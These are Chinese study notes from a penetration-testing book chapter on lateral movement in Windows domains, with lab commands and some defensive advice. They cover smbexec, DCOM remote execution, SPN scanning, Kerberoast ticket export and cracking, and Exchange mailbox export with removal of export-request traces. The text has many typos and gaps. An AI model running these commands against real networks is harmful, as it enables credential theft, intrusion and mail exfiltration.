内网安全攻防:渗透测试指南——第5章域内横向移动分析及防御
第5章域内横向移动分析及防御
目录
第5章域内横向移动分析及防御
5.1 常用Windows远程连接和相关命令
5.1.1 IPC
5.1.2使用Windows自带的工具获取远程主机信息
5.1.3计划任务
5.2Windows系统散列值获取分析与防范
5.2.1 LM Hash和NTLM Hash
5.2.2单机密码抓取与防范
5.2.3使hashcat获取密码
5.2.4如何防范攻击者抓取明文密码和散列值
1.设置Active Diretory 2012 R2功能级别
2.安装KB2871997
3.通过修改注册表禁止在内存中存储明文密码
4.防御mimikatz攻击
5.3哈希传递攻击分析与防范
5.3.1哈希传递攻击的概念
5.3.2哈希传递攻击分析
5.3.3更新KB2871997补丁产生的影响
5.4票据传递攻击分析与防范
5.4.1使用mimikatz进行票据传递
5.4.2使用kekeo进行票据传递
5.4.3如何防范票据传递攻击
5.5 PsExec 的使用
5.5.1 PsTools 工具包中的PsExec
5.5.2 Metasploit 中的psexec模块
5.6WMI的使用
5.6.1基本命令
5.6.2impacket工具包中的wmiexec
5.6.3wmiexec.vbs
5.6.4 Invoke- -WmiCommand
5.6.5 Invoke-WMIMethod
5.7 永恒之蓝漏洞分析与防范
5.8smbexec的使用
5.8.1 C++ 版smbexec
5.8.2 impacket工具包中的smbexec.py
5.8.3 Linux跨Windows远程执行命令
1.smbexec安装
2.工具说明
(1)主菜单项1——用于列举系统中的重要信息
(2)主菜单项2——用于在目标系统中执行命令、获取权限等。
5.9 DCOM 在远程系统中的使用
5.9.1通过本地DCOM执行命令
5.9.2使用DCOM在远程机器上执行命令
5.10 SPN在域环境中的应用
5.10.1 SPN扫描
5.10.2Kerberoast攻击分析和防范
5.11Exchange邮件服务器安全防范
5.1.1 Exchange 邮件服务器介绍
5.11.2 Exchange 服务发现
5.11.3 Exchange 的基本操作
5.11.4导出指定的电子邮件
跳板机器中的文档和存储的凭证,以及通过跳板机器连接的数据库、域控制器或其他重要资产)。
通过此类攻击手段,攻击者最终可能获取域控制器的访问权限,甚至完全控制基于Windows操作系统的基础设施和与业务相关的关键账户。因此,必须使用强口令来保护特权用户不被用于横向移动攻击,从而避免域内其他机器沦陷。建议系统管理员定期修改密码,从而使攻击者获取的权限失效。
hashcat用法
msf下利用ms17-010攻击win7
msf下利用ms17-010攻击win7
防御“永恒之蓝”漏洞对Windows操作系统的攻击,方法如下。
- 禁用SMB协议(该方法适用于Windows Vista及更高版本的操作系统)。
- 打开Windows Update,或者手动安装KB2919355。
- 使用防火墙阻止445端口的连接,或者使用进/出站规则阻止445端口的连接。
- 不要随意打开陌生的文件。
- 安装杀毒软件,及时进行更新病毒库。
5.8smbexec的使用
smbexe可以通过文件共享(admins cs、ipes. d$)在远程系统中执行命令。
5.8.1 C++ 版smbexec
C++版smbexec的下载地址见[链接5-8]。
1.工具说明
testexe: 客户端主程序。
execserver.exe: 目标系统中的辅助程序。
常见的smbexec命令如下。
test.exe ipaddress username password command netshare
2.使用方法
将execserver.exe上传到目标系统C:\Windows目录下,解除UAC对命令执行的限制。在命令行环境下执行如下命令
net use \\1.1.1.10 "123456" /user:penters\administrator
接下来在客户端的命令行环境中执行,在使用smbexec时,目标系统的共享必须是开放的(c$、ipc$、admin$)
test.exe 1.1.1.10 adminstrator 123456 whoami c$
5.8.2 impacket工具包中的smbexec.py
- ┌──(root??kali)-[/usr/…/dist-packages/cme/protocols/smb]
- └─# cd /usr/share/doc/python3-impacket/examples
- ┌──(root??kali)-[/usr/share/doc/python3-impacket/examples]
- └─# python3 smbexec.py testlab/Administrator:123456Aa\@1.1.1.10

5.8.3 Linux跨Windows远程执行命令
1.smbexec安装
- cd /opt
- git clone
- chmod +x install.sh && ./install.sh
- 安装后输入smbexec,会显示主菜单
2.工具说明
smbexec的主菜单项有四个,下面分别进行介绍。

(1)主菜单项1——用于列举系统中的重要信息
选项1用于扫描目标网络IP地址段中存活的主机。
- Choice : 1
- Enter target network range [192.168.0.0/24] : 1.1.1.0/24

选项2用于列举目标系统中的管理员用户。需要输人IP地址、用户名、密码、域四项。IP地址可以直接调用由选项1扫描出来的IP,用户名、密码、域需要手动添加,程序会记录最近输入的用户名密码等以便下次使用
- Target IP, host list, or nmap XML file [2 hosts identified] :
- Username [No credentials provided] : Administrator
-
Password or hash (
: ) [No pass provided] : 123456Aa - Domain [LOCALHOST] : testlab

选项3用于列举当前登录目标系统的用户,用户名、密码、域三项会自动加载最近输人的内容。

选项4用于列举目标系统UAC的状态。在本实验中,目标网络中的两个IP地址所对应的机器的UAC的状态都是Enabled (启用)

选项5用于对目标系统中的网络共享目录进行列举。在本实验中,列出了两个IP地址所对应的机器的共享目录

选项6用于在目标系统中搜索敏感文件,例如配置文件、密码信息、缓存文件等

选项7用于列举远程登录目标主机的用户。

选项8用于直接返回主菜单
(2)主菜单项2——用于在目标系统中执行命令、获取权限等。
选项1用于生成一个meterpreter Pyload,并在目标系统中直接运行它。在渗透测试中,也可以使用Masploit、 Empire.CobaltStike建立一个监听并获得一个shell

选项2用于直接关闭远程主机的UAC。网络管理员可以通过攻击者关闭UAC的操作发现系统正在遭受攻击。
选项3的功能是在执行选项2关闭目标系统的UAC后,重新打开目标系统的UAC,使目标系统复原
选项4用于执行一个PowerShell脚本。
选项5使用基于PsExec的方式获得目标系统的一个System权限的Shell
5.9 DCOM 在远程系统中的使用
DCOM (分布式组件对象模型)是微软的一系列概念和程序接口。通过DCOM,客户端程序对象能够向网络中的另台计算机上的服务器程序对象发送请求。
DCOM是基于组件对象模型(COM)的。COM提供了一套允许在同一台计算机上的客户端和服务器之间进行通信的接口(运行在Windows95及之后版本的操作系统中)。
攻击者在进行横向移动时,如果要在远程系统中执行命令或payload,除了会使用前面的at、schtasks、 PsExee、 WMI、smbexec 、PowerShell等,还会使用网络环境中部署的大量诸如IPS、流量分析等系统。多了解一些横向移动方法,对日常的系统安全维护是大有益处的。
5.9.1通过本地DCOM执行命令
1.获取DCOM程序列表
Get-ClimInstance这个cmdlet (PowerShel 命令行)默认只在PowerShell3.0以上版本中存在。也就是说,只有Windows Sever 2012及以上版本的操作系统才可以使用Get-ClimInstance.命令如
Get-CimInstance win32_DCOMApplication
因为Windows 7、Windows Server 2008中默认安装的是Powershell 2.0,所以它们都不支持Get-Cimlnstance可以使用如下命令代替Get-CimInstance
在本地启动一个管理员权限的PowerShell,执行如下命令
Get-WmiObject -Namespace ROOT\cimv2 -Class Win32_DCOMApplication
2.使用DCOM执行任意命令
本地启动一个管理员权限的powershell
- $com =
- {activator}::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
- $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimzed")
执行完毕,格以当前会话执行Administrator权限的clac
该方法通过ExecuteShellCommand运行了“计算器”程序。
5.9.2使用DCOM在远程机器上执行命令
下面通过一一个实验来讲解如何使用DCOM在远程机器上执行命令。在使用该方法时,需要关闭系统防火墙。在远程机器上执行命令时,必须使用具有本地管理员权限的账号。
实验环境
域控制器
- ip:1.1.1.8
- 域名:hello.testlab
- 用户名:Administrator
- 密码:123456Aa
域内成员
- ip:1.1.1.10
- 域名:hello.testlab
- 用户:Administrator
- 密码:123456
1.通过ipc$连接远程计算机
C:\Users\Administrator>net use \\1.1.1.10 "123456Aa" /user:Administrator
2.执行命令
(1)调用MMC20.Application远程执行命令
- 建立ipc$后,输入以下命令,在远程计算机上执行calc.exe
- $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","1.1.1.10"))
- $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","")


(2)调用9BA05972-F6A8-11CF-A442-00A0C90A8F39
- 在远程主机上打开powershell
- $com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"1.1.1.10")
- $obj = [System.Activator]::CreateInstance($com)
- $item = $obj.item()
- $item.Documnet.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)

以上方法均适用于 Windows 7 ~ Windows 10、Windows Servrer 2008 ~ Windows Server 2016。
5.10 SPN在域环境中的应用
Windows域环境是基于微软的活动目录服务工作的,它在网络系统环境中将物理位置分散、所属部门不同的用户进行分组,集中资源,有效地对资源访问控制权限进行细粒度的分配,提高了网络环境的安全性及网络资源统一分配管理的便利性。在域环境
中运行的大量应用包含了多种资源,为资源的合理分组、分类和再分配提供了便利。微软给域内的每种资源分配了不同的服务主体名称(Service Principal Name,SPN)。
5.10.1 SPN扫描
1.相关概念
在使用Kerberos协议进行身份验证的网络中,必须在内置账号(NetworkService、 LocalSystem)或者用户账号下为服务器注册SPN。对于内置账号,SPN将自动进行注册。但是加果在域用户账号下运行服务,则必须为要使用的账号手动注册 SPN。因为域环境中的每台服务器都需要在Kerberos身份验让服务中汪册 SPN,所以攻击者会直接向域控制器发送查询请求,获取其需要的服务的SPN,从而知晓其需要使用的服务资源在那台机器上。
Kerberos身份验让便用 SPN将服务实例与服务登录账号关联起来。如果域中的计算机上安装了多个服务实例,那么每个实例都必须有自己的SPN.如果客户端可能使用多个名称进行身份验证,那么给定的服务实例可以有多个SPN。例如,SPN总是包含运行的服务实例的主机名称,所以,服务实例可以为其所在主机的每个名称或别名注册一个SPN。根据Kerberos协议,当输人目己的账号和密码登录活动目录时,域控制器会对账户和密码进行验证。验证通过后,密钥分发中心(KDC)会将服务授权的譬如票据(TGT)发送给用户(作为用户访问资源时的身份凭据)。
下面通过一个例子来说明。当用户需要访问MSSQL服务时,系统会以当前用户身份向域控制器查询SPN为“MSSQL”的记录。找到该SPN记录后,用户会再次与KDC通信,将KDC发放的TGT作为身份凭据发送给KDC,并将需要访问的SPN发送给KDC。KDC中的身份验证服务(AS)对TGT进行解密。确认无误后,由TGT将一张运行访问该SPN所对应的服务的票据和该SPN所对应的服务的地址发送给用户。用户使用该票据即可访问MSSQL服务。
SPN命令如下
- SPN = serviceclass "/" hostname [":"port"] ["/" servicename]
- serviceclass:服务组件的名称
- hostname:以“/”与后边的名称分割,是计算机的FQDN全限定域名,同时带有计算机名和域名
- port:以冒号分割,后面的内容为该服务监听的端口号
- servicename:一个字符串,可以是服务的专有名称(DN),objeectGuid,Internet主机名或全限定域名
2.常见 SPN 服务
- MSSQL 服务的示例代码如下。
- MSSQLSvc/ computer1.labtest.com:1433
- MSSOLSvc: 服务组件的名称,此处为 MSSQL 服务。
- computer computer1.labtest:主机名为computer1,域名为labtest
- 1433:监听的端口为1433。
- serviceclass和 hostname是必选参数,port和servicename是可选参数,hostname和port之间的冒号只有在该服务对其端口讲行监听时才会使用。
- Exchange服务的示例代码如下。
- exchangeMDB/EXCAS01.labtest.com
- RDP服务的示例代码如下。
- TERMSERV/EXCAS01.labtest.com
- WSMan/WinRM/PSRemoting 服务的示例代码如下。
- WSMAN/EXCAS01.labtest.com
3.用于进行 SPN扫描的 PowerShell脚本
当计算机加入域时,主SPN会自动添加到添加到域的计算机账号的ServicePrincipalName属性中。在安装新的服务后,SPN也会被记录到计算机账户的相应属性中。
SPN扫描也称作“扫描Kerberos服务实例名称”。在活动目录中发现服务的最佳方法就是SPN扫描。SPN扫描通过请求特定SPN类型的服务主题名称来查找服务。与网络端口扫描相比,SPN扫描的主要特点是不需要通过连接网络中的每个IP地址来检查服务端口(不会触发内网中的IPS,IDS等设备的规则而产生大量的告警日志)。因为SPN查询是Kerberos票据行为的一部分,所以检测难度较大。
Pelhel-AD-Rccon工具包提供了一系列服务与服务登录账号和运行服务的主机之间的对应关系,这些服务包括但不限于MSSQL、 Exchange. RDP、WinRM。 Powershell-AD-Recon工具链接5-11
(1)利用SPN发现城中所有的MSSQL服务
因为SPN是通过LDAP协议向域控制器进行查询的,所以攻击者只要获得个普通的域用户权限,就可以进行SPN扫描。
在域中的任意一台机器上,以域用户身份运行一个PowerShell进程,将脚本导人并执行,命令如下。Discover-PSMSSQLServers 的下载地址见[链接5-12]。
- Import-Module .\Discover-PSMsSQLServers. ps1
- Discover-PSMSSQLServers
(2)扫描域内所有的SPN信息5-13
- Import-Module .\Discover-INTER.ps1
- Discover-PSInterestingServices
(3)不使用第三方脚本情况下
setspn -T domain -q */* #使用Windows自带的工具列出域内所有的SPN信息。
5.10.2Kerberoast攻击分析和防范
Kerberoast是一种针 对Kerberos协议的攻击方式。在因为需要使用某个特定资源而向TGS发送Kerberos服务票据的请求时,用户首先需要使用具有有效身份权限的TGT向TGS请求相应服务的票据。当TGT被验证有效且具有该服务的权限时,会向用户发送一张票据。 该票据使用与SPN相关联的计算机服务账号的NTLM Hash (RC4_HMAC_MD5),也就是说,攻击者会通过Kerberoast尝试使用不同的NTLM Hash来打开该Kerberos票据。如果攻击者使用的NTLM Hash是正确的,Kerbers票据就会被打开,而该NTLM Hash对应于该计算机服务账号的密码。
在域环境中,攻击者会通过Kerberast使用普通用户权限在活动目录中将计算机服务账号的凭据提取出来。因为在使用该方法时,大多数操作都是离线完成的,不会向目标系统发送任何信息,所以不会引起安全设备的报警。又因为大多数网络的域环境策略不够严格(没有给计算机服务账号设置密码过期时间;计算机服务账户的权限过高;计算机服务账号的密码与普通域用户账号密码相同),所以计算机服务账户的密码很容易受到Kerberoast攻击的影响。
1.实验:配置MSSQL服务,破解该服务的票据
(1)手动注册SPN
输人如下命令,手动为MSSQL服务账号注册SPN,如图5-125所示。
setspn -A MSSQLSvc/computer1.labtest.com:1433 mssql
(2)查看用户所对应的SPN
- 查看所有注册的SPN,命令如下。
- setspn -T domain -q */*
- 查看指定用户注册的SPN,命令如下。
- setspn -L labtest.com\mssql
(3)使用adsiedit.msc查看用户SPN及其他高级属性
(4)配置指定服务的登录权限
- 执行如下命令,在活动目录中为用户配置指定服务的登录权限
- gpedit.msc\Computer Configuration\Windows Settings\Security Setting\Local Policies\Users Rights Assignment \Log on as a service
(5)修改加密类型
因为Kerberos协议的默认加密方式为AES256_ HMAC,而通过tgsrepcrack.py无法破解该加密方式,所以,攻击者会通过服务器组策略将加密方式设置为RC4 HMAC_MD5,命令如下
gpedit.msc\Computer Configuration\Windows Settings\Security Setting\Local Policies\Security Options\Network security: Configure encryption types allowed for kerberos
(6)请求SPN Kerberos票据
- 打开Pwerhel输入如下命令
- Add-Type -AssemblyName System.IdentityModel
- New-Object System.IdentityModel.Tokens.KerberosRequestor SecurityToken -ArgumentList "MSSQLSvc/computer1.labtest.com"
(7)导出票据
- 在mimikatz中执行如下命令,将内存中的票据导出
- Kerberos::list /export #票据会导出在当前目录下的kirbi文件中,加密方式为RC4_HMAC_MD5
(8)使用Kerberoast脚本离线破解票据所对应账号的NTLMHash访问[链接5-14],下载Kerberoast因为该工具是用Python语言编写的,所以需要在本地配置Python2.7环境。
将MSSQL服务所对应的票据文件复制到KaliLinux中。
在Kerberoest中有一个名为gepeack.y的脚本文件,其主要功能是离线破解票据的NTLM Hash在Kai Linux中打开该脚本,在命令行环境中输人如下命令
- python tgsrepcrack.py wordlist.txt mssql.kirbi
- 如果破解成功,该票据所对应账号的密码将被打印在屏幕上。
2.防范建议
针对Kerberoast攻击,有如下防范建议。
- 确保服务账号密码长度超过 25位;确保密码的随机性;定期修改服务账号的密码。
- 如果,就无攻击者无法将默认的AES256_HMAC加密方式更改为RC4_HMAC_MD5,就无法使用tgsrepcrack.py来破解密码。
- 攻击者可以通过嗅探的方法抓取Kerberos TGS票据。因此,如果强制使用AES_256_HMAC方式对Kerberos票据进行加密,那么,即使攻击者获取了Kerberos票据,也无法将其破解,从而保证了活动目录的安全性。
- 许多服务账户在内网中被分配了过高的权限,且密码强度通常较差。攻击者很可能通过破解票据的密码,从域用户权限提升升到域管理员权限。因此,应该对服务账户的权限进行话当的配置,并提高密码的强度。
- 在进行日志审计时,可以重点关注ID为4769 (请求Krbers服务票据)的事件。如果有过多的4769日志,应该进一步检查系系统中是否存在恶意行为。
5.11Exchange邮件服务器安全防范
Exdhane是微软出品的电子邮件服务组件,是一个消息与协作系统。Exchange 在学校和企业中常常作为主要的电子邮件系统使用。Exchange的主要版本有Exchange 2003、Exchange 2007、Exchange 2010、Exchange 2013、Exchange 2016、Exchange 2019。
Exchange服务器可以以本地化的形式部署。也可以以Exchange Online的方式,将Exchange服务器托管在微软云端。Exchange 提供了极强的可扩展性、可靠性、可用性,以及极高的处理性能与安全性能。同时,Exchange 与活动目录、域服务、全局编排目录及微软的其他相关服务和组件有着紧密的联系。
在大型企业中,大多数办公业务都是通过电子邮件系统完成的,电子邮件中可能包含大量的源码、企业内部通讯录、明文密码,敏感业务登录地址及可以从外网访问内网的VPN账户和密码等信息。因此。在对服务器进行安全议置时,定要及时更新Exchange软件的安全补丁和Exchange服务器的安全补丁,有效降低Echage沦陷情况的发生概率。Exchange支持PowerShell对其进行本地或远程操作,这方面方便了运维人员对Exchange的管理和配置,另一方面为攻击者对Exchange进行恶意操作创造了条件。
5.1.1 Exchange 邮件服务器介绍
1.邮件服务器角色介绍
通过划分不同的服务器角色( 使它们能执行属于自己的组件和服务),以及为这些角色设置依存关系,Exchange 将电子邮件处理变成了一个强大、丰富、稳定而又复杂的过程。Exchange在逻辑上分为三层,分别是网络层Network Layer)、目录层( DretoryLayer)。 消息层(MessgingLayer)。服务器角色处在消息层。
以Exchange Server 2010版本为例,共有五个服务器角色,分别是邮箱服务器、客户端访问服务器、集线传输服务器、统一消息服务器、边缘传输服务器。其他角色都可以都署在同一台主机上。邮件服务器,客户端访问服务器,集线传输服务器是核心服务器角色,只要部署这三个角色就你能提供基本的电子邮件处理功能。
- 邮箱服务器( Milbox Sver):提供托管邮箱、 公共文件夹及相关消息数据(例如地址列表)的后端组件是必选的服务器角色。
- 客户端访问服务器(Cient Acess Sever):接收和处理来自不同客户端的请求的服务器角色,为通过不同的协议进行的访问提供支持。在一个Exchang环境中,至少需要部署一个客户端访问服务器。
- 集线传输服务器(Hub Transport Server ): 也称中心传输服务器。该服务器角色的核心服务就是Microsoft Exchange Transport,负责处理Mail Flow ( Exchange管理员通过Mail Flow实现邮件出站与进站配置)、对邮件进行路由及在Exchange 组织中进行分发。该服务器角色处理所有发往本地邮箱和外部邮箱的邮件,确保邮件发送者和接收者的地址被正确地解析并能够执行特定的策略(例如邮件地址过滤、内容过滤、格式转换等),同时,可以进行记录、审计、添加免责声明等操作。正如“Hub Transport”的含义,该服务器角色相当于-一个邮件传输的中继站。在一个Exchange 环境中,至少需要部署一个集线 传输服务器。
- 统一消息服务器(Unified Messaging Server ):将专用交换机( Private Branch Exchange,PBX)和Exchange服务器集成在一起,允许用户通过邮件发送、存储语音消息和传真消息。该服务器角色为可选角色。边缘传输服务器( Edge Transport Server):专用服务器,可用于路由发往内部或外部的邮件,通常部署在网络边界并用于设置安全边界。该服务器角色接收来自内部组织和外部可信服务器的邮件,对这些邮件应用特定的反垃圾邮件、反病毒策略,将通过策略筛选的邮件路由到内部的集线传输服务器上。该服务器角色为可选角色。
2.客户端/远程访问接口和协议
电子邮件通信一般分为邮件发送和邮件接收两个过程。邮件发送使用统一的通信协议, 即SMTP (简单邮件传输协议)。邮件接收则会使用多种协议标准,例如从POP (邮局协议)发展而来的POP3,以及使用较为广泛的IMAP (Intemnet邮件访问协议)。Exchange 开发了私有的IMAP协议(用于收取邮件)。新版本的Outlook通常使MAPI协议与Exchange进行交互。除此之外,早期的Outlook使用名为“Outlook Anywhere"的RPC进行交互。
Exchange支持的访问接口和协议列举如下。
- OWA Oulook WebApp): Exchange提供的Web邮箱
- EAC (Exchange Administrative Center): Exchange 管理中心,是组织中的Exchange的Web控制台
- Outlook Anywhere ( RPC-over-HTTP, RPC/HTTP )。
- MAPI (MAPI-over-HTTP, MAPIHTTP )。
- Exchange ActiveSync (EAS, XML/HTTP)。
- Exchange Web Services(EWS,SOAP-over-HTTP)
5.11.2 Exchange 服务发现
1.基于端口扫描发
Exchange作为一个运行在计算机系统中的、为用户提供服务的应用,必然会开放相应的端口(供多个服务和功能组件实现相互依赖与协调)。所以,通过端口扫描就能发现内网或公网中开放的Exchange 服务器。
因为具体开放的端口或服务取决于服务器角色,在本节的实验中,使用Nmap进行端口扫描,并通过扫描确认结果
nmap -A -0 -sV 192. 168.168.0.100
使用Nmap端口扫描的方法寻找Exchange服务器,需要与主机进行交互,产生大量的通信流量,造成IDS报警,并在目标服务器中留下大量的日志。因此,关注报警信息、经常查看日志,就可以发现网络系统中存在的异常。
2. SPN 查询
在安装Exchange 时,SPN就被注册在活动目录中了。在域环境中,可以通过SPN来发现Exchange服务。获取SPN记录的方法很多,可以使用PowerShell 脚本获取,也可以使用Windows 自带的setspn.exe获取。输人如下命令并执行
setspn -T labtest.com -F -Q */*
5.11.3 Exchange 的基本操作
既然Exchange是一个电子邮件系统,那么其中必然存在数据库。Exchange 数据库的后级为“.edb",存储在Exchange服务器上。通过Exchange发送、接收、存储的邮件,都会存储在Exchange的数据库中。为了保证可用性,Exchange 的运行一般需要两台以上的服务器。使用PowerShell可以查看Exchange数据库的信息。
1.查看邮件数据库
使用-Sever参数,可以在指定服务器上进行查询。由于本节的实验环境为本地计算机,为了演示方便,只有一台服务器供Exchange使用。
- 在PowerShel命令行环境中输人如下命令
- Get-MailboxDatabase -server "Exchange1"
- 在正常的Powershell中没有这条命令,需要将Exchange管理单元添加到当前会话中。
- add-pssnapin microsoft.exchange*
- 可以指定个数察库,对其洋细信息进行去询。例如,输人如下命令,查询数据库的物理路径
- Get-MailboxDatebase -Identity 'Mailbox Database 00000001' | Format-List Name,EdbFilePath,LogFolderPath
2.获取现有用户的邮件地址
使用PowerShell进行查询,列举Exchange中所有的用户及其邮件地址
Get-Mailbox | format-tables Name,WindowsEmailAddress
3.查看指定用户的邮箱使用信息
输人如下命令,查看指定用户使用的邮箱空间和最后登录时间
- C:\Windows\system32>get-mailboxstatistics -identity administrator | Select
- DisplayName,ItemCount,TotalItemSize,LastLogonTime
4.获取用户邮箱中的邮件数量
使用PowerShell 获取用户邮箱中的邮件数量及用户的最后登录时间。使用该命令还可以列出哪些用户没有使用过Exchange邮件系统
Get-Mailbox -ResultSize Unlimited | Get-MailboxStatistics | Sort-Object TotalItemSize -Descend
5.11.4导出指定的电子邮件
Exchange邮件的后缀为.pst。在exchange 2007中导出邮件,需要实验Export.Mailbox命令。在2010SP1版本之后可以使用图形化界面或者powershell。如果要使用PST格式的邮件文件,需要为能够操作的Powershell的用户配置邮箱导入导出权限。
1.配置用户的导入/导出权限(需重启服务器才能导入导出)
- Get-ManagementRoleAssignment -role "Mailbox Import Export" | Format-List RoleAssigneeName #查看用户权限
- New-ManagementRoleAssignment -Name "Import Export_Domain Admins" -User "Administrator" -Role "Mailbox Import Export" #添加权限
- Remove-ManagementRoleAssignment "Import Export_Domain Admins" -Confirm:$false #导出后,删除权限
2.设置网络共享文件夹
不论哪种方式导出邮件,都需要将文件放置在UNC(Universal Naming Convention,通用命名规则,也称通用命名规范,通用命名规定)路径下。类似与“\\hostname\sharename" "\\ip\address\sharename"的网络路径角色UNC路径,sharename为网络共享路径。首先,需要开启共享。在本实验中, 将C盘的inetph文件夹设置为任意用户都可以操作的文件夹,以便将电子邮件从Exchange服务器中导出。
- net share inetpub=c:\inetpub /grant:everyone,full
- net share 查看共享文件夹
3.导出用户的电子邮件
(1)使用PowerShell导出电子邮件用户的电子邮箱目录一般分为 Inbox (收件箱)、SentItems (已发送邮件)、DeletedItemns (已删除邮件)、Drafts (草稿)等。
使用New-MailboxExporRequest命令,可以将指定用户户的所有邮件导出。输人如下命令
New-MaiIboxExportRequest -Mailbox administrator -FilePath \\192.168.100.194\inetpub\administrator.pst
(2)通过图形化界面导出电子邮件
在浏览器地址栏中输入“192.168. 100.194\ecp”,打开Exchange管理中心的登录界面。输人之前添加到Mailbox Import Export角色组中的用户账号和密码,然后单击“登录”按钮
进人Exchang管理中心后,单击“收件人”选项,可以看到当前电子邮箱的信息。单击“+”按钮,可以将域用户添加到Exchange服务器中。选中现有用户 并将其添加到Exchange服务器中
选中administrator用户,单击“..”按钮,然后选择“导出到PST文件”选项
进入“导出到.pst”" 界面,如图5-153 所示,单击“浏览”按钮。
单击“下一步”按钮,设置导出路径,如图5-155所示。该路径为UNC路径。
4.管理导出请求
不论是使用Powershell导出电子邮件,还是通过图形化界面导出电子邮件,在创建导出请后,都会在Exchange中留下相关信息,这些信息有助于Exchange邮件服务器管理人员发现服务器中的异常行为。
- 使用PowerShell查看之前产生的导出请求记录
- Get-MailboxExportRequest
- 使用如下命令,可以将指定用户的已完成导出请求删除
- Remove-MailboxExportRequese -Identity Administrator\mailboxexport
- 使用如下命令,可以将所有已完成的导出请求删除
- Get-MailboxExportRequest -Status Completed | Remove-MailboxExportRequest
